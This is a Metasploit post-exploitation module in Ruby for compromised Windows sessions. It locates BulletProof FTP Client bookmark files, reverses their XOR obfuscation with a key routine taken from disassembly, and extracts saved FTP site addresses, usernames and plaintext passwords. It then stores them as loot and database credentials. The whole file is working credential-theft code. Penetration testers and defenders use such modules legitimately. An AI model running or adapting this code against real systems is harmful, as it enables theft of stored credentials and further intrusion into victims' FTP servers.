##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Report
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
        'Description' => %q{
          This module extracts information from BulletProof FTP Bookmarks files and store
          retrieved credentials in the database.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'juan vazquez'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )
  end

  class BookmarksParser

    # Array of entries found after parsing a Bookmarks File
    attr_accessor :entries

    def initialize(contents)
      @xor_key = nil
      @contents_bookmark = contents
      @entries = []
    end

    def parse_bookmarks
      if !parse_header
        return
      end

      until @contents_bookmark.empty?
        parse_entry
        @contents_bookmark.slice!(0, 25) # 25 null bytes between entries
      end
    end

    private

    def low_dword(value)
      return Rex::Text.pack_int64le(value).unpack('VV')[0]
    end

    def high_dword(value)
      return Rex::Text.pack_int64le(value).unpack('VV')[1]
    end

    def low_byte(value)
      return [value].pack('V').unpack('C*')[0]
    end

    def generate_xor_key
      # Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
      # .text:007B13C1                 mov     eax, 100h
      # ... later
      # .text:0040381F                 imul    edx, dword_7EF008[ebx], 8088405h
      # .text:00403829                 inc     edx
      # .text:0040382A                 mov     dword_7EF008[ebx], edx
      # .text:00403830                 mul     edx
      temp = @xor_key * 0x8088405
      temp = low_dword(temp)
      temp += 1
      @xor_key = temp
      result = temp * 0x100
      result = high_dword(result)
      result = low_byte(result)
      return result
    end

    def decrypt(encrypted)
      length = encrypted.unpack('C')[0]
      return '' if length.nil?

      @xor_key = length
      encrypted = encrypted[1..length]
      return '' if encrypted.length != length

      decrypted = ''
      encrypted.unpack('C*').each do |byte|
        key = generate_xor_key
        decrypted << [byte ^ key].pack('C')
      end
      return decrypted
    end

    def parse_object
      object_length = @contents_bookmark[0, 1].unpack('C')[0]
      object = @contents_bookmark[0, object_length + 1]
      @contents_bookmark.slice!(0, object_length + 1)
      content = decrypt(object)
      return content
    end

    def parse_entry
      site_name = parse_object
      site_address = parse_object
      login = parse_object
      remote_dir = parse_object
      local_dir = parse_object
      port = parse_object
      password = parse_object

      @entries << {
        site_name: site_name,
        site_address: site_address,
        login: login,
        remote_dir: remote_dir,
        local_dir: local_dir,
        port: port,
        password: password
      }
    end

    def parse_header
      signature = parse_object
      if !signature.eql?('BPSitelist')
        return false # Error!
      end

      unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
      return false unless unknown == "\x01\x00\x00\x00"

      return true
    end
  end

  def check_installation
    bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'
    bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)

    return false if bullet_reg_ver.nil?

    bullet_reg_ver.each do |key|
      if key =~ /BulletProof FTP Client/
        return true
      end
    end
    return false
  end

  def get_bookmarks(path)
    bookmarks = []

    if !directory?(path)
      return bookmarks
    end

    session.fs.dir.foreach(path) do |entry|
      if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')
        bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
      elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")
        vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
        bookmarks << "#{path}\\#{entry}"
      end
    end
    return bookmarks
  end

  def check_bulletproof(user_dir)
    session.fs.dir.foreach(user_dir) do |directory|
      if directory =~ /BulletProof Software/
        vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
        return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
      end
    end
    return nil
  end

  def report_findings(entries)
    entries.each do |entry|
      @credentials << [
        entry[:site_name],
        entry[:site_address],
        entry[:port],
        entry[:login],
        entry[:password],
        entry[:remote_dir],
        entry[:local_dir]
      ]

      service_data = {
        address: Rex::Socket.getaddress(entry[:site_address]),
        port: entry[:port],
        protocol: 'tcp',
        service_name: 'ftp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: entry[:login],
        private_data: entry[:password],
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
    end
  end

  def run
    print_status('Checking if BulletProof FTP Client is installed...')
    if !check_installation
      print_error("BulletProof FTP Client isn't installed")
      return
    end

    print_status('Searching BulletProof FTP Client Data directories...')
    # BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
    profiles = grab_user_profiles
    bullet_paths = []
    profiles.each do |user|
      next if user['LocalAppData'].nil?

      bulletproof_dir = check_bulletproof(user['LocalAppData'])
      bullet_paths << bulletproof_dir if bulletproof_dir
    end

    print_status('Searching BulletProof FTP Client installation directory...')
    # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
    progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
    progfilesx86 = progfiles_env['ProgramFiles(X86)']
    if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
      program_files = progfilesx86 # x64
    else
      program_files = progfiles_env['ProgramFiles'] # x86
    end

    session.fs.dir.foreach(program_files) do |dir|
      if dir =~ /BulletProof FTP Client/
        vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
        bullet_paths << "#{program_files}\\#{dir}"
      end
    end

    if bullet_paths.empty?
      print_error('BulletProof FTP Client directories not found.')
      return
    end

    print_status('Searching for BulletProof FTP Client Bookmarks files...')
    bookmarks = []
    bullet_paths.each do |path|
      bookmarks.concat(get_bookmarks(path))
    end
    if bookmarks.empty?
      print_error('BulletProof FTP Client Bookmarks files not found.')
      return
    end

    print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')
    entries = []
    bookmarks.each do |bookmark|
      p = BookmarksParser.new(read_file(bookmark))
      p.parse_bookmarks
      if !p.entries.empty?
        entries.concat(p.entries)
      else
        vprint_error("Entries not found on #{bookmark}")
      end
    end

    if entries.empty?
      print_error('BulletProof FTP Client Bookmarks not found.')
      return
    end

    # Report / Show findings
    @credentials = Rex::Text::Table.new(
      'Header' => 'BulletProof FTP Client Bookmarks',
      'Indent' => 1,
      'Columns' =>
        [
          'Site Name',
          'Site Address',
          'Port',
          'Login',
          'Password',
          'Remote Dir',
          'Local Dir'
        ]
    )

    report_findings(entries)
    results = @credentials.to_s

    print_line("\n" + results + "\n")

    if !@credentials.rows.empty?
      p = store_loot(
        'bulletproof.creds',
        'text/plain',
        session,
        @credentials.to_csv,
        'bulletproof.creds.csv',
        'BulletProof Credentials'
      )
      print_status("Data stored in: #{p}")
    end
  end
end
